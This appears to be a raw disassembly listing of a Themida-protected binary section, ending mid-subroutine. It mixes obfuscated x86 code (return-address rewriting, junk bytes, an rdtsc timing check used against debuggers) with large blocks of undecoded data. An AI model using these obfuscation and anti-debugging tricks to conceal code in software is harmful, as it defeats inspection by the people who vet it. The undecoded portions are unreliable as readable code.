Themida_:005C3B2Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5C3B37 endp ; --------------------------------------------------------------------------- db 0ECh dd 55745CFFh, 0CAF145EFh, 589BBE66h, 49BD8B50h, 5E07E41Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E3C35545h dd 6E963h, 8C360000h, 0BB70BC2Eh, 858DF98Bh, 7E40D85h dd 14810Fh, 0CE80000h, 0 dd 0EA00D883h, 6C6C81D8h, 6073FFA9h, 0E9505E61h, 0Dh, 0DBB79594h dd 11454F67h, 59CAAF63h, 2404897Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 55C35141h, 858936BEh, 6850F32h dd 8B000000h, 0E4258DB5h, 66006A07h, 6AFA8Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 23C35040h, 83D1E884h dd 662CCE7Bh, 858DFE8Bh, 7E81876h, 9E8h, 0CA58B600h, 727EF89Ch dd 8B608BB4h, 0E419C595h, 835F6107h, 0BE905C0h, 0EB000000h dd 947905FFh, 1FB37044h, 0F5013E3h, 1389h, 0DE800h, 669C0000h dd 0E409C1E7h, 37C44795h, 5E901C23h, 66240489h, 0BED7E781h dd 0FE9006Ah, 0A6000000h, 8C24F49Ch, 4EB7E234h, 35C66141h dd 890F221Ch, 0Ch, 68E0Fh, 8D290000h, 7E42CF9h, 0BD8B006Ah dd 7E40F3Dh, 247195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B129F9C3h, 6D69C59Dh dd 8D46807Bh, 0E7D64B9Dh, 0E1B58B07h, 0FF07E406h, 0B985FFD3h dd 6A07E420h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0E6C5C356h, 6F71B2ACh, 2BF366F0h dd 0E400A5B5h, 0D26E907h, 0E80000h, 5D000000h, 1880ED81h dd 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 47D850C3h, 0DFBF8D11h, 850F45h, 81000000h dd 0E42AD5BDh, 7D007h, 3C860F00h, 6A000001h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0E9ABC351h, 25A4AA95h, 0D183C78Ch, 0DE9h, 0C579B400h dd 0AAC8134Dh, 0C2E5CF9h, 9D8B0574h, 7E43591h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F0C35040h, 0BEDCB5FCh dd 1746012Ch, 5E9h, 0E61B900h, 0E3817DECh, 100h, 9E8h dd 0D375DC00h, 0B526433Eh, 11E886CEh, 51000000h, 9E16A4EDh dd 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 3239BD8Bh, 5F5E07E4h dd 850FDB0Bh, 6Fh, 1ED5B589h, 0BD8307E4h, 7E8169Dh, 2F840F00h dd 8B000000h, 81B523F7h, 0E907E423h, 59h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0DCC35545h, 0ADDBD8Bh dd 85C707E4h, 7E8169Dh, 1, 28E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0C71EF8BCh dd 0E8169D85h, 7, 919D8D00h, 8107E435h, 0CFDD37DEh, 0D1B5895Dh dd 8107E41Bh, 0FFFEFF23h, 0E9BD8BFFh, 6607E431h, 0C681DB8Ch dd 611C7CD3h, 0F04C3F6h, 0BB84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BBE553Dh dd 0E400DDB5h, 29B52307h, 0FF07E421h, 0E42D9195h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8163065Dh, 0F8D645DEh, 9A38BF06h, 50506026h, 0EE852h dd 0F1020000h, 8398B409h, 9D807870h, 0C4C9E7DEh, 0CE9h dd 757DF500h, 0F925FBEAh, 8B7871A5h, 310F5F07h, 0AE9h dd 26678C00h, 27D266A1h, 5A8F7DB7h, 24048958h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E7C35141h, 7C4E186Bh dd 8EEDA308h, 3F6E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A810F0E9h, 0A5EA3775h dd 0E78166A4h, 0B02203h, 0F61BD29h, 70E607E4h, 27858D89h dd 816607E4h, 0E42846CEh, 53006A71h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F148EBBh dd 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 10BDAFC3h, 2ED978BFh, 0AE8h, 0ED81BB00h dd 8B8A5E14h, 5672FB69h, 7B59589h, 5E5E07E4h, 29BDBD8Bh dd 9D8907E4h, 7E40881h, 6BAh, 0E1816000h, 2E3F554Ah, 17C59D89h dd 8B6107E4h, 0BDB58BC3h, 0C107E426h, 6A04E8h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BB6C3h, 7E4091Dh, 6AE2F766h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 39B5C351h dd 81664B43h, 0F2263E7h, 0D82BF8BFh, 5F5293F5h, 6A9350h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0AA3D23C3h, 29DD9509h, 0B5FF07E4h, 7E42AD5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0ABC35747h, 95FFF98Bh dd 7E40E41h, 31AB58BEh, 6A00B049h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6220C356h dd 315B895Ch, 0E402B5B5h, 8B70E607h, 0E425CDBDh, 6A71E407h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 3F21C351h, 0F613CFCh, 23283h, 0CE96000h dd 5E000000h, 297DACBh, 0E87CAEDFh, 8B2F2599h, 0E424C59Dh dd 0B60F6107h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8BC29Fh, 7E41495h dd 6BAh, 0A0D68100h, 8B4F7A6Ch, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C3B56DABh dd 0DF9CBF54h, 0F504E8C1h, 0EFD9D09h, 0F76607E4h, 51006AE2h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8157A49Ah, 0C98F1CEh, 0D82B5E6Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C2C35141h, 469A69D8h, 0BD2B58C9h dd 7E41529h, 880FD82Bh, 15Fh, 1AF78166h, 7B9DEh, 0C1830000h dd 5E900h, 264A0000h, 3BB0BCEEh, 40860FD9h, 89000001h dd 0E40E3DB5h, 0D98C6607h, 0C1F6F88Bh, 0F4840F04h, 0F5000000h dd 0BE9h, 0AD41E200h, 2F06917Ch, 9522C066h, 2D9195FFh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 379BCFC3h, 604D3B40h, 9E9h, 0B1CD6000h, 4C76C9F9h dd 81669547h, 612238D3h, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h, 0C3514100h, 0A1B589FFh, 2B07E421h dd 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 4615F4DBh, 0E9376C72h, 0Bh, 0A2663103h dd 6646C19Ah, 3D277779h, 834h, 45860Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E96C8BC3h, 5Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 91C35040h, 19CF8D21h, 8BC23E70h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0F052C30h, 0C8Eh, 6840F00h, 8B000000h, 0E40B35B5h, 0A58D8907h dd 8B07E409h, 0FD88BC3h, 8F0FFBBFh, 6, 291BD8Bh, 85C707E4h dd 7E40B69h, 341EF1FBh, 0C08BFE8Bh, 0DE8h, 78D56C00h, 0BFC2182Fh dd 2293513Ah, 0BD8BF776h, 7E41E85h, 0D5BD815Eh, 0D007E42Ah dd 0F000007h, 3985h dd 8A0F6000h, 6, 820Fh, 0A7BF0000h, 61136039h, 2AD585FFh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0E556C4C3h, 0B5FF7FA0h, 7E42AD5h, 0B2E78166h dd 4195FF85h, 6A07E40Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6027C352h, 1429B523h dd 409007E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0C9C35747h, 0F82430F0h, 0BD83F5B6h, 7E424DDh, 83840F00h dd 0F000000h, 0BD83F9BFh, 7E4038Dh, 73840F00h, 8B000000h dd 0DD95FFF1h, 6A07E424h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 4E2C352h, 0F098589h dd 0C00B07E4h, 40840Fh, 0FCF50000h, 4FE78D8Dh, 958907E4h dd 7E40FA9h, 5B8h, 9D895600h, 7E41E41h, 6AE1FF5Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 369FC356h, 323DFB22h, 0BD83036Ah, 7E42C35h, 5C840F00h dd 60000005h, 80CEE880h, 836100C9h, 0E4038DBDh, 840F0007h dd 547h, 2405B589h, 8D8D07E4h, 7E429E5h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 43C35747h, 0DA88F490h dd 1C5D46B6h, 79BD8Bh, 1C707E4h, 44B27C84h, 0AAF68166h dd 0CB018189h, 0F1499CFh, 0E81h, 8D016000h, 7E40235h, 21718D8Bh dd 0C76107E4h, 6B340441h, 81FCCE70h, 0D7100441h, 7E831D6h dd 0F1000000h, 30AE4B59h, 6A5F81D2h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0CB1988C9h dd 19787F3Fh, 858DBB1Bh, 7E429E5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 90BD750Eh dd 5841BE66h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0CB4E61C3h, 97B771EAh, 3595FF99h dd 6607E42Ch, 8627EF81h, 29E58D8Dh, 6A07E4h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 2D31D8C3h dd 5E8h, 74CB600h, 0B58B9F0Ch, 7E41275h, 43BF665Fh, 1C725h dd 0E9000000h, 12h, 0D11143DFh, 5078206Ah, 702604CBh, 6961DAE5h dd 41C75E61h, 4, 0FDB58B00h, 6607E40Dh, 9850D781h, 840FC00Bh dd 71h, 89FB8B66h, 0E42211B5h, 0E78D8D07h, 6A07E44Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5CC2C351h, 1FC5B58Bh, 5B807E4h, 0E9000000h, 0Bh, 0C4FE940Bh dd 2BE909FCh, 0FFE00EADh, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6D19C2BAh dd 8BE6FCEBh, 0E42755BDh, 0E58D8D07h, 6A07E429h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 6647C356h, 2949ADBFh, 0E4227D9Dh, 7C01C707h, 8B44AA72h dd 0E41F3DBDh, 0CB018107h, 6A1499CFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A38CC352h dd 41C7B111h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0ACA70A2Bh, 0E2DF267Dh dd 29B58900h, 8107E423h, 0D7100441h, 6E831D6h, 6D000000h dd 0B80C1223h, 0B8BF66F7h, 6A5F90h, 7A5B58Bh, 858D07E4h dd 7E429E5h, 0B58B6060h, 7E4272Dh, 1098589h, 8B6107E4h dd 0E4185D85h, 89506107h, 0B70F2404h, 3595FFF2h, 8907E42Ch dd 0E403A9BDh, 0E58D8D07h, 0F07E429h, 8Ah, 1C700h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 3011C356h, 23B1979Fh, 441C7F6h, 0 ; --------------------------------------------------------------------------- pusha or [ebp+7E4002Dh], ebx mov [ebp+7E423C1h], eax popa or eax, eax jz loc_5C4828 mov [ebp+7E40F85h], edx lea ecx, [ebp+7E44FE7h] push 0 push edx call sub_5C47FD and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C47FD proc near ; CODE XREF: Themida_:005C47F5p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C47FD endp ; --------------------------------------------------------------------------- sub edi, edx sti mov eax, 5 mov edi, [ebp+7E40A09h] jmp ecx ; --------------------------------------------------------------------------- mov di, cx push edx mov [ebp+7E42C65h], edi pop esi loc_5C4828: ; CODE XREF: Themida_:005C47E0j lea ecx, [ebp+7E429E5h] mov dword ptr [ecx], 54CA95A5h push 0 push ebx call sub_5C483F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C483F proc near ; CODE XREF: Themida_:005C4837p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C483F endp ; --------------------------------------------------------------------------- db 0C1h dd 0ABEB52B8h, 0BA4C5BA5h, 7E9h, 86A21A00h, 0DD4E9BA8h dd 0CFCB0181h, 0EEBE1499h, 0E91C9077h, 9, 4857DF41h, 69D2E82Fh dd 441C77Ch, 0CE5F5969h, 0BDBB73BFh, 4418157h, 31D6D710h dd 183DB58Bh, 6A07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0D6C35545h, 121B58Bh, 858D07E4h, 7E429E5h dd 0A558589h, 0F5007E4h, 487h, 3BF6600h, 240489D9h, 0FFF18B66h dd 0E42C3595h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0A0A2A439h, 473FA352h dd 0F08B666Eh, 29E58D8Dh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0B58BE0C3h, 7E40E4Dh dd 1C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BA6D8C3h, 0E41CA5BDh, 441C707h dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5C4967 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4967 proc near ; CODE XREF: Themida_:005C495Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5C4967 endp ; --------------------------------------------------------------------------- db 0A8h dd 0E1DF7B52h, 0B748646h, 9C840FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4377C353h, 0EE9EB29h, 0EF000000h, 0C29228A9h, 85EC3681h dd 198A1479h, 0B70F5225h, 8D8D5EFFh, 7E44FE7h, 0B8FE8B66h dd 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 70C35141h, 0FFF9B70Fh, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 2CC5DECBh dd 0E943BDC8h, 9, 250B5D6Fh, 0C4912AC9h, 8DB58BC9h, 307E412h dd 0F2DCE9CAh, 0FA8BFFFFh, 4EBC18Bh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C4A3F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4A3F proc near ; CODE XREF: Themida_:005C4A37p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5C4A3F endp ; --------------------------------------------------------------------------- or [esi-5Dh], ecx sbb ecx, [ebx-1BEA9E43h] pop es lea eax, [ebp+7E40D85h] jmp loc_5C4A78 ; --------------------------------------------------------------------------- dd 0E78DC94Eh, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh ; --------------------------------------------------------------------------- loc_5C4A78: ; CODE XREF: Themida_:005C4A5Fj nop jle loc_5C4A98 push eax push edx mov di, 9F1h rdtsc jmp loc_5C4A96 ; --------------------------------------------------------------------------- dd 6CE2D339h, 0DCE2A3C7h ; --------------------------------------------------------------------------- cmp ebp, ecx loc_5C4A96: ; CODE XREF: Themida_:005C4A87j pop edx pop eax loc_5C4A98: ; CODE XREF: Themida_:005C4A79j push eax mov si, 7F74h nop mov edi, [ebp+7E42FEDh] push 0 push 0 push ecx call sub_5C4AB1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4AB1 proc near ; CODE XREF: Themida_:005C4AA9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5C4AB1 endp ; --------------------------------------------------------------------------- db 0A4h, 63h, 90h ; --------------------------------------------------------------------------- xor edi, [ebp+7E41851h] push 0 mov [ebp+7E4241Dh], eax lea eax, [ebp+7E82725h] push 0 push eax call sub_5C4AE3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4AE3 proc near ; CODE XREF: Themida_:005C4ADBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C4AE3 endp ; --------------------------------------------------------------------------- db 5Fh dd 0C6D59A9Eh, 0D2DBD33h, 0B58B07E4h, 7E41879h, 6605C083h dd 65C9CE81h, 50FA8B90h, 8F0F5060h, 0 ; --------------------------------------------------------------------------- pop edx pusha jmp loc_5C4B33 ; --------------------------------------------------------------------------- db 0B4h dd 3D2B9936h, 7AB626E2h, 0B10326E9h, 0ABB93A57h ; --------------------------------------------------------------------------- and esi, [eax-28h] loc_5C4B33: ; CODE XREF: Themida_:005C4B1Aj push esi pop edi popa popa nop push 0 push ebx call sub_5C4B43 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4B43 proc near ; CODE XREF: Themida_:005C4B3Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C4B43 endp ; --------------------------------------------------------------------------- pushf pushf or ah, [edx+6Eh] push edx mov cl, 10h mov ds:0BD8B006Ah, eax shl dword ptr [ebx], 0E4h pop es push 0 mov esi, [ebp+7E42A71h] call dword ptr [ebp+7E42471h] or [ebp+7E42569h], ecx lea ebx, [ebp+7E7D64Bh] push 0 push eax call sub_5C4B89 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4B89 proc near ; CODE XREF: Themida_:005C4B81p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C4B89 endp ; --------------------------------------------------------------------------- xchg eax, ecx push esp test edi, edi ror dword ptr [ebx], cl mov ebp, 7E42231h inc dword ptr [ebp+7E420B9h] xor [ebp+7E4089Dh], eax jmp loc_5C53CC ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 7E8272Fh sub si, 509Ch or [ebp+7E40185h], edx cmp dword ptr [ebp+7E42AD5h], 7D0h jbe loc_5C4D4C push 0 push ebx call sub_5C4BE7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4BE7 proc near ; CODE XREF: Themida_:005C4BDFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5C4BE7 endp ; --------------------------------------------------------------------------- db 0F4h dd 0F5019556h, 73566A37h, 9659D8Bh, 6A07E4h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0D170F2C3h dd 0FFBD8C3Bh, 12E927h, 8CEB0000h, 0D5D7F44Dh, 0F66191B1h dd 0BCFC297Ah, 0FC4CC5BEh, 29E1B589h, 9D8907E4h, 7E40291h dd 100E381h, 0B5090000h, 7E431B1h, 850FDB0Bh, 0A1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 8AD06816h dd 0B70F5E6Dh, 0A5BD83FAh, 7E825h, 0B840Fh, 8B660000h dd 7AE9F2h, 0B70F0000h, 0A585C7F2h, 107E825h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 2B3EC353h, 8E0F3578h, 8, 870F53h, 5E000000h dd 3BE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0DB5A241Ah, 893F5CB8h, 0E42BE59Dh dd 0A585C707h, 7E825h, 66000000h, 8589F38Bh, 7E41E91h dd 9659D8Dh, 850F07E4h, 1, 0FF2381FCh, 6AFFFFFEh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1AE6C352h, 9589305Eh, 7E40389h ; --------------------------------------------------------------------------- loc_5C4D4C: ; CODE XREF: Themida_:005C4BD6j mov bx, ds push 0 push ebp call sub_5C4D5A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D5A proc near ; CODE XREF: Themida_:005C4D52p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5C4D5A endp ; --------------------------------------------------------------------------- sbb byte ptr [edi-2Fh], 0A0h stosd cmp dl, bl mov [ebp+7E4192Dh], edx test bl, 4 jz loc_5C4DD3 push 0 push ebx call sub_5C4D8C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4D8C proc near ; CODE XREF: Themida_:005C4D84p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5C4D8C endp ; --------------------------------------------------------------------------- inc esi mov di, 0E7B9h call dword ptr [ebp+7E42D91h] push 0 push edx call sub_5C4DB2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4DB2 proc near ; CODE XREF: Themida_:005C4DAAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5C4DB2 endp ; --------------------------------------------------------------------------- mov bh, 0A2h adc dword ptr [esi], 5E575071h mov [esp], eax sub esi, [ebp+7E42375h] loc_5C4DD3: ; CODE XREF: Themida_:005C4D7Bj jmp loc_5C517A ; --------------------------------------------------------------------------- dd 0B0F38B66h, 8B70E600h, 0E41DDDBDh, 8171E407h, 0ED0CF6CFh dd 1DB58B1Fh, 0F07E424h, 0B589D8B6h, 7E42DADh, 6BAh, 0F3B70F00h dd 0F58D8957h, 5F07E41Dh, 0E8C1C38Bh, 10E904h, 9A0000h dd 0FF921F1Ch, 1C3AE0E2h, 16477719h, 0F76667AFh, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 2DCD24E3h, 0BFF98B7Eh, 3D55C83Eh, 6AD82Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4D45C3C3h dd 0A0D01E93h, 0FE8h, 0A5E07300h, 0C5B557A2h, 7E21B031h dd 6240C8F9h, 54D6BF66h, 0F50935Eh, 481h, 9CBF6600h, 0F505FB6h dd 885h, 0F525000h, 5AF98B31h, 6A9358h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 2181A7C3h dd 0AD6F641Dh, 8B66DFCAh, 0E42B45B5h, 0F9B50107h, 0FF07E41Fh dd 0E42AD5B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 3A4243BAh, 0FCD598C6h dd 2C77EF81h, 95FF38CAh, 7E40E41h, 0B0F1BF0Fh, 71BD8B00h dd 0E607E431h, 1CBF6670h, 6071E492h, 0DE947B3h, 6D000000h dd 15D8DE14h, 31321AC2h, 0F2A4C987h, 0F613C61h, 23983h dd 14E900h, 9FB00000h, 0C2166017h, 0D7C7A05Dh, 0D7F2CA0Eh dd 92105A13h, 8166795Ah, 0F52F1CFh, 6AD8B6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B0F7DC3h dd 0E42A69BDh, 6BA07h, 0C38B0000h, 1285BD8Bh, 0E8C107E4h dd 79B58B04h, 6607E40Fh, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A223BDC3h, 0FE95035h dd 54000000h, 87F8CB84h, 0EBD625D6h, 274FF94Fh, 0BD0BA66Ah dd 7E42A95h, 0BE66D82Bh, 0E958E8E5h, 0Dh, 0EE6B2DA8h, 0A87FEFAFh dd 1CDE30EAh, 0FBBF0F9Dh, 880FD82Bh, 17Eh, 7B9h, 7AC68100h dd 8322406Eh, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 9B0D4CC3h, 3BFB8B66h, 47860FD9h dd 8B000001h, 0E419FDBDh, 0D98C6607h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 39C35343h, 862C5B45h, 9D8B6082h dd 7E4316Dh, 9DB501h, 0F86107E4h, 0F04C1F6h, 0DC84h, 66F78B00h dd 95FFFB8Bh, 7E42D91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0C9C35343h, 889D72D1h, 0BD8915EDh, 7E414CDh dd 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 12E8D603h, 43000000h, 838803EFh, 0C74355E0h dd 4DFB1280h, 0E290C79h, 3E78124h, 5E775436h, 6E9C32Bh dd 0B0000000h, 0DC9EC951h, 5B12BE97h, 343D3D46h, 0F000008h dd 5086h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 2EBDB55Fh, 70AA7903h, 2DF1B589h dd 4BE907E4h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 8BCDC351h, 0E41815B5h dd 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3C6BC353h, 7328C0ACh, 0B6DBD89h db 0E4h, 7 ; --------------------------------------------------------------------------- loc_5C517A: ; CODE XREF: Themida_:loc_5C4DD3j mov eax, ebx mov ebx, eax stc mov dword ptr [ebp+7E43591h], 170DEF19h push 0 ; CODE XREF: Themida_:005C51EAj push ebp call sub_5C5194 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5194 proc near ; CODE XREF: Themida_:005C518Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h loc_5C51A1: ; CODE XREF: Themida_:005C51EFj inc ebp push ebp retn sub_5C5194 endp ; --------------------------------------------------------------------------- fisttp word ptr [ecx-1BF0B273h] pop es jnp loc_5C51B5 mov di, 6345h loc_5C51B5: ; CODE XREF: Themida_:005C51ABj mov eax, eax push 0 push eax call sub_5C51C2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C51C2 proc near ; CODE XREF: Themida_:005C51BAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C51C2 endp ; --------------------------------------------------------------------------- dw 73E8h ; --------------------------------------------------------------------------- push ds jmp loc_5C51E1 ; --------------------------------------------------------------------------- dw 6F22h dd 0CA1D979Bh ; --------------------------------------------------------------------------- scasd loc_5C51E1: ; CODE XREF: Themida_:005C51D5j call near ptr loc_5C51F8+2 fmul st, st(4) mov bl, 3Bh jbe short near ptr loc_5C5189+1 adc edx, [ebx+6Fh] loop loc_5C51A1 or [edi-21EF69A0h], dl cld loc_5C51F8: ; CODE XREF: Themida_:loc_5C51E1p imul ebx, [edi], 0Bh mov ch, 29h push ds in al, 7 ; DMA controller, 8237A-5. ; channel 3 current word count pop edi cmp dword ptr [ebp+7E42AD5h], 7D0h jnz loc_5C526D push 0 push ebp call sub_5C521C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C521C proc near ; CODE XREF: Themida_:005C5214p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5C521C endp ; --------------------------------------------------------------------------- dd 5E836h, 9AF90000h, 89ABF736h, 0E400FD9Dh, 85FF5F07h dd 7E42AD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 19C35242h, 0D70B1730h, 899CFAB2h, 0E430ADB5h ; --------------------------------------------------------------------------- pop es loc_5C526D: ; CODE XREF: Themida_:005C520Bj push dword ptr [ebp+7E42AD5h] push 0 push ebp call sub_5C527E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C527E proc near ; CODE XREF: Themida_:005C5276p arg_4 